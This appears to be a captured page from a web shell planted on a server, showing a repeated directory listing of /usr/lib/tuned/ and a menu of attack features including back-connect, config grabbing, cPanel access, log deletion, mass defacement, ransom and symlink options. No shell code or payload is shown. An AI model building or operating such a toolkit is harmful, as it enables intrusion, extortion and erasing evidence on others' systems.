| accelerator-performance | |||
| aws | |||
| balanced | |||
| balanced-battery | |||
| desktop | |||
| hpc-compute | |||
| intel-sst | |||
| latency-performance | |||
| network-latency | |||
| network-throughput | |||
| optimize-serial-console | |||
| powersave | |||
| recommend.d | |||
| throughput-performance | |||
| virtual-guest | |||
| virtual-host | |||
| functions |
\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /usr/lib/tuned/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| accelerator-performance | |||
| aws | |||
| balanced | |||
| balanced-battery | |||
| desktop | |||
| hpc-compute | |||
| intel-sst | |||
| latency-performance | |||
| network-latency | |||
| network-throughput | |||
| optimize-serial-console | |||
| powersave | |||
| recommend.d | |||
| throughput-performance | |||
| virtual-guest | |||
| virtual-host | |||
| functions |